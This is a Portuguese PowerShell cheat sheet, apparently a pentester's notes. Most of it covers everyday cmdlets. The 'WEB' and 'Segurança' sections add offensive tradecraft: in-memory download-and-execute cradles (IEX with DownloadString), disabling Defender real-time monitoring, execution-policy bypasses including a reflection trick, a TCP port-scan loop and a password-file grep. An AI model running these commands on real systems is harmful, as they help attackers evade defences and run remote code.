Powershell

Comandos Básicos

Essencial

Acessado o powershell via prompt de comando.

powershell

Versão do Powershell

$PSVersionTable

Verificando versão disponíveis do Powershell no máquina atual

$PSVersionTable.PSVersion

Verificando qual linguagem do Powershell está em uso no momento, sendo eles ConstrainedLanguage ou FullLanguage.

$ExecutionContext.SessionState.LanguageMode

Listando as variáveis de ambiente

dir env:

Renomeando o título da janela

$host.UI.RawUI.WindowTitle = "<NOME>"

Modos de exibição

# Modo Lista, onde apresentar resultados mais completos
ls | Format-List
ls | fl

# Modo Tabela, que vem por padrão na saída dos resultados
ls | Format-Table
ls | ft

# Exibe m popup GUI com melhor visualização
ls | Out-GridView

Quando executarmos algum comando e recebermos algum retorno que contenha algo como {valor1, valor2, valor3, val...}, não temos como saber o restante dos valores. Para vermos a lista completa, precismos utilizar o seguinte comando:

<command> | Select -ExpandProperty <campo_que_ira_exapandir>

Exibindo todos os alias

alias

Comando para saber quais serviços estão presentes no SO e quais os seus executáveis

run wmic service get name, pathname

Informações sobre partições do disco

wmic volume get Label,DeviceID,DriveLetter, FileSystem,Capacity,FreeSpace

Acessado o powershell via prompt de comando sem entrar no modo interativo

powershell -Command <command>
powershell -command "<command1> ; <command2>"

Verificando se o SO é 64 bits

[Environment]::Is64BitProcess

Detalhes do SO

Get-ComputerInfo

Lista completa de comandos disponíveis

Get-Command

Buscando todos os Process do tipo Cmdlet

Get-Command -Type Cmdlet *process*

Executando comandos através do PowerShell

c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe <command>

Buscamos por algum comando

Get-Command | Select-String <filter>

Exibindo mensagem na tela

echo "Meu teste"
Write-Host "Meu teste"
write-Output "Meu teste"
'ola mundo'
"ola mundo"

Diretório atual

pwd
get-location

Lendo arquivos

cat <file>
type <file>

Lista os processos em execução

Get-Process

Procurando por um processo que começe com Calc e executando um kill para finalizá-lo

Get-Process -Name "Calc*" | kill

Buscando o path completo de determinado executável

Get-Command 'whoami'
Get-Command 'calc'

Alterando User Agent em requisições web

$downloader = New-Object System.Net.WebClient
$downloader.Headers.Add("User-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0")
iex $downloader.DownloadString("<http://site.com.br>")

Configurando Proxy em requisições web

$downloader = New-Object System.Net.WebClient
$proxy = [Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$downloader.Proxy = $proxy
iex $downloader.DownloadString("<http://site.com.br>")

Para verificar as configurações atuais de Proxy, basta digitar:

[Net.WebRequest]::GetSystemWebProxy()

Windows Defender

# Habilitando a proteção Real-Time
Set-MpPreference -DisableRealtimeMonitoring $false

# Desabilitando a proteção Real-Time
Set-MpPreference -DisableRealtimeMonitoring $true

Vendo logs do que o Defender bloqueou

Get-MpThreatDetection | sort $_.InitialDetectionTime

# Vendo a última detecção
Get-MpThreatDetection | sort $_.InitialDetectionTime | Select -First 1

Get-Help

Semelhante ao comando man do Linux, temos o Get-Help no Powershell, que serve como um manual para os comandos disponíveis

Get-Help <command>

Podemos utilizar argumentos adicionais no nosso helper, como por exemplo:

# Informções completas do comando
Get-Help <command> -Full

# Detalhes do comando
Get-Help <command> -Detailed

# Exemplos de utilização do comando
Get-Help <command> -Examples

# Abre a página web do tutorial da Microsoft
Get-Help <command> -Online

# Abre o resultado em um popup
Get-Help <command> -ShowWindow

Properties

Vendo as propriedades de um comando (objeto). No exemplo abaixo, utilizamos o Get-Process (ps) como exemplo, mas podemos utilizar outros comando em seu lugar. Note que o Get-Member possui o alias gm.

Get-Process | Get-Member
Get-Process | gm

Como tudo no Powershell é um objeto, uma simples string pode conter Method e Property. No exemplo abaixo, estamos dando um echo em abc (lembrando que não precisamos escrever echo) e pegando as suas informações de acesso.

'abc' | Get-Member

Filtrando somente por Member-Type que possua o valor Method

Get-Process | Get-Member -MemberType Method

Acessando as propriedades

ls | fl -Property FullName,Length
Get-ChildItem | Format-List -Property FullName,Length

Ao vermos um tipo de Property ao executar o Get-Member, devemos especificar o formato, como por exemplo, o Format-List (ou fl`) para poder acessar suas propriedades

Get-Process | fl -Property Id,Name,StartTime

# Pegando todas as propriedades
Get-Process | fl -Property *

Manipulando Saídas

Abaixo alguns métodos que podemos acessar com uma string:

# Deixando todas as letras maiúsculas
'abc'.toUpper()

# Comparando a string `abc` com `def`
'abc'.CompareTo('def')

# Quebrando string por vírgula
'a,b,c,d,e,f'.split(',')

# Quebrando string por vírgula e deixando as letras em maiúsculo
'a,b,c,d,e,f'.split(',').ToUpper()

# Retornando os 5 primeiros serviços de maneira ordenada (Sort), que estão consumindo mais memória 
ps | Sort-Object -Property WS -Descending | Select-Object -First 5
ps | Sort-Object -Property WS | Select-Object -Last 5

# Retornando o primeiro resultado de processo que mais estão utilizando memória, porém ignorando as 3 primeiras linhas, ou seja, retorna somente a quarta linha
ps | Sort-Object -Property WS -Descending | Select-Object -Index 3
ps | Sort-Object -Property WS -Descending | Select-Object -First 1 -Skip 3

# Agrupando resultados
<command> | ft -GroupBy <column>

Select

Get-Service dhcp | Select ServiceName,CanPauseAndContinue,DisplayName

Select-String

Procurando pela string "pass" em todos os arquivos txt

Select-String -Path .\*.txt -Pattern pass*
ls -r . -File *.txt | %{ sls -Path $_ -Pattern pass* }

Array

Removendo valores duplicados no array

'a','b','c','a','b','c','d' | Select-Object -Unique

Exibe todos os valores do array menos o primeiro

'a','b','c','a','b','c','d' | Select-Object -Skip 1

Exibe todos os valores do array menos os 3 primeiros

'a','b','c','a','b','c','d' | Select-Object -Skip 3

Modules

Verificando todos os Módulos que estão importados na sessão atual

Get-Module

Verificando todos os Módulos que estão dispóníveis para serem importados

Get-Module -ListAvailable

Para importar um Módulos presente no resultado do comando acima, basta executar:

Import-Module <module>

Caso seja um módulo baixado da internet ou até mesmo desenvolvido por conta própria, execute:

Import-Module <file.psm1>

Também podemos importar Módulos, usando a técnica Dot-Sourcing, que consiste na seguinte estrutura

. .\<file.ps1>

Outra maneira diferente de fazer um importar um módulo:

ipmo <file.ps1>

Localizando o diretório do Módulos. Caso coloque scripts nesses diretórios, eles serão carregados automaticamente no Powershell, permitindo serem executados de forma nativa

$Env:PSModulePath

Listando todos os cmdlet de um determinado Módulo

Get-Command -Module <module>

Caso tenha queira executar alguma function no resultado do comando acima e não sabe ao certo como utilizar, execute o comando abaixo para ter mais detalhes sobre o seu uso

Get-Help <function>

Foreach

Multiplando por 2, cada um dos itens

1,2,3,'a','b','c' | % {$_ * 2}

Matando todos os processos do Chrome, semelhante a um ps -Name Chrome | kill

Get-Process -Name "chrome" | % {Stop-Process $_}

Where-Object

Executando comandos e realizando filtros. Note que a ? pode ser substituída por Where-Object

ps | ? {$_.ProcessName -eq "Calculator"}
ps | ?{$_.PriorityClass -eq "normal"} | fl -Property Name, PriorityClass
ps | ?{$_.PriorityClass -ne "normal" -and $_.PriorityClass -ne $null} | fl -Property Name, PriorityClass
ps | Where-Object {$_.Name -ne "chrome"}
ls | ? {$_.Name -eq "mysther"}

# Este só funciona a partir da versão 3 do Powershell
ps | ? -Property PriorityClass -eq -Value "normal"

Por exemplo, para pegarmos todos os serviços que estão em execução, podemos executar o seguinte comando:

Get-Service | ? {$_.Status -eq 'Running'}

Bypass Para Copiar Arquivos

findstr /V /L "StringQueNaoExiste" \\<ip>\mysther\script.ps1 > <C:\Users\Mysther\Desktop\script.ps1>

Profile

Os Profiles são perfis, onde scripts são executados assim que o Powershell for inicializado. Para executarmos um comando sem um perfil, podemos utilizar um comando seguindo o exemplo abaixo:

echo 'Write-Host "Eu sou:" ; whoami ' | powershell -noprofile -

Redes

Exibindo detalhes sobre as unidade de rede que estão mapeadas

wmic netuse list full

Verificando conectividade

# Ping
Test-Connection <target>

# Traceroute
Test-Connection <target> -Traceroute

Verificando portas com Test-NetConnection.

# Saída padrão
Test-NetConnection <target> -Port <port>

# Saída limpa
Test-NetConnection <target> -Port <port> -WarningAction SilentlyContinue -InformationLevel Quiet

# Saída personalizada
if (Test-NetConnection <target> -Port <port> -WarningAction SilentlyContinue -InformationLevel Quiet) { echo "Porta aberta" } else { echo "Porta fechada" }

Verificando portas com Net.Sockets.TcpClient.

1..65535 | % {echo ((New-Object Net.Sockets.TcpClient).Connect('<ip>', $_)) "Port $_ is open"} 2>$null
$ip = "<ip>" ; for ($port = 1 ; $port -lt 65535 ; $port++) {try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port); "${ip}:${port} is open" } catch {"${ip}:${port} is close"}}
$ip = "<ip>" ; for ($port = 1 ; $port -lt 65535 ; $port++) {try { $socket = New-Object System.Net.Sockets.TcpClient($ip,$port); "${ip}:${port} is open" } catch {}}

Converte um arquivo com hostname em IP's

Get-Content <file-hostname.txt> | ForEach-Object { [System.Net.Dns]::GetHostAddresses($_) } | Select IPAddressToString

IPv4NetworkScan.ps1

.\IPv4NetworkScan.ps1 -IPv4Address 192.168.1.0 -Mask 255.255.255.0 -DisableDNSResolving
.\IPv4NetworkScan.ps1 -IPv4Address 192.168.1.0 -CIDR 24

Lendo, Filtrando, Pesquisando e Manipulando Saídas

Filtrando palavras de forma semelhante ao grep (Linux)

type <file> | Select-String "<find>"

Quebrando string em partes

$x = "eu:uso:powershell"
$x.split(':')[0] // eu
$x.split(':')[1] // uso
$x.split(':')[2] // powershell

Substituindo caracteres

$x = "abcdef"
$x -replace "a",""

$str = 'Minha-string'
$str.replace('-', ' ')

Listando todos os arquivos de forma recursiva

gci -recurse . | select fullname

Contando quantidade de resultados (linhas), semelhante ao wc -l do Linux

ls | Measure-Object | select count

Retornando softwares instalados no computador

get-ciminstance win32_product | fl

Retornando softwares instalados no computador, filtrando somente por produtos que não contém o nome "Microsoft"

get-ciminstance win32_product -Filter "NOT Vendor like '%Microsoft%'" | fl

WEB

Baixando um arquivo

# Baixando arquivo e "executando" direto na memória (sem baixar no HD)
IEX(New-Object Net.WebClient).downloadString('http://<site.com>/<file>')

# Baixando arquivo no HD
iex(New-Object Net.WebClient).DownloadFile("http://<site>/<file>", "C:\Users\<user>\Downloads\<file>")
Invoke-WebRequest -Uri "http://<site>/<file>" -OutFile "C:\Users\<user>\Downloads"
Invoke-WebRequest "http://<site>/<file>" -OutFile "C:\Users\<user>\Downloads"

Método HTTP

Invoke-WebRequest <www.site.com.br> -Method <method>

Pegando somente o Status Code

(Invoke-WebRequest <www.site.com.br>).status.code

Pegando somente o conteúdo html

(Invoke-WebRequest <www.site.com.br>).status.content

Pegando somente o header

(Invoke-WebRequest www.site.com.br).headers
(Invoke-WebRequest www.site.com.br).headers.server

Pegando somente os links de uma página web

(Invoke-WebRequest www.site.com.br).links
(Invoke-WebRequest www.site.com.br).links.href

Usuários e Grupos

Listando usuários

Get-LocalUser
Get-LocalUser | ft Name,Enabled,LastLogon
whoami /alluser

Listando grupos

Get-LocalGroup
Get-ChildItem c:\Users -Force | select Name

# Grupos locais
net localgroup

Usuários locais que fazem parte de um determinado grupo

net localgroup <grupo>

Segurança

Ignorando política de execução, pois o PowerShell é altamente monitorado usando ACLs, histórico de comandos, System Center Configuration Manager [SCCM], etc.

ExecutionPolicy

Tipos de perfil:

  • Default = Política de execução padrão. Restricted para usuários em Desktop e RemoteSigned caso seja um servidor

  • RemoteSigned = Os scripts baixados na internet são obrigados a ter uma assinatura digital de uma fonte confiável

  • Restricted = Comandos individuais podem ser executados, porém arquivos ps1 não podem

  • Unrestricted = Script que não são assinados podem ser executados

  • Undefined = Não possui política definida para o escopo atual

  • AllSigned = Os scripts executados devem ser assinados por uma fonte confiável

Verificando a configuração atual

Get-ExecutionPolicy

Verificando a permissão de um determinado escopo

Get-ExecutionPolicy -Scope CurrentUser

Verificando a permissão de todos os escopos

Get-ExecutionPolicy -list

Realizando bypass para pegar todos os acessos

powershell -ep bypass

#ou

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

Outra maneira de realizarmos bypass, é alterando o $AuthorizationManager por $null, é executando o comando abaixo. Nada é exibido na tela e se executarmos um Get-ExecutionPolicy, nada irá ser alterado também, porém mesmo assim podemos executar arquivos ps1 no powershell.

($bpexec=$executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($bpexec, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
./<file.ps1>

Bypass na execução de um único arquivo

powershell -ExecutionPolicy Bypass -File <file.ps1>
powershell -ExecutionPolicy Bypass ./<file.ps1>
powershell -ep bypass ./<file.ps1>

Executa um comando com bypass e em seguida já volta para o padrão de segurança do Powershell

powershell -ep bypass <command>

Deixa o terminal com permissões de execução. Note que para ter êxito com esse comando, precisa ter acesso administrador

# Realiza o bypass
Set-ExecutionPolicy Bypass -Force

# Volta para o modo restrito
Set-ExecutionPolicy restricted -Force

Altera a permissão no escopo Process

Set-ExecutionPolicy bypass -scope Process

Altera a permissão no escopo CurrentUser -Force

Set-ExecutionPolicy bypass -scope CurrentUser -Force

Verificando permissões de diretório

Get-Acl C:\Windows\Tasks | fl

Service Unquoted

Retorna um conjunto de serviços que possui um caminho inseguro configurado incorretamente durante a instalação

Get-ServiceUnquoted -verbose

Condições / Repetidores

Contadores

1..10

Foreach

foreach ($x in 1..254) { echo "192.168.1.$x" }

Sites

# Diversos scripts úteis para Powershell
https://github.com/fleschutz/PowerShell

# IPv4NetworkScanner
https://github.com/BornToBeRoot/PowerShell_IPv4NetworkScanner

Last updated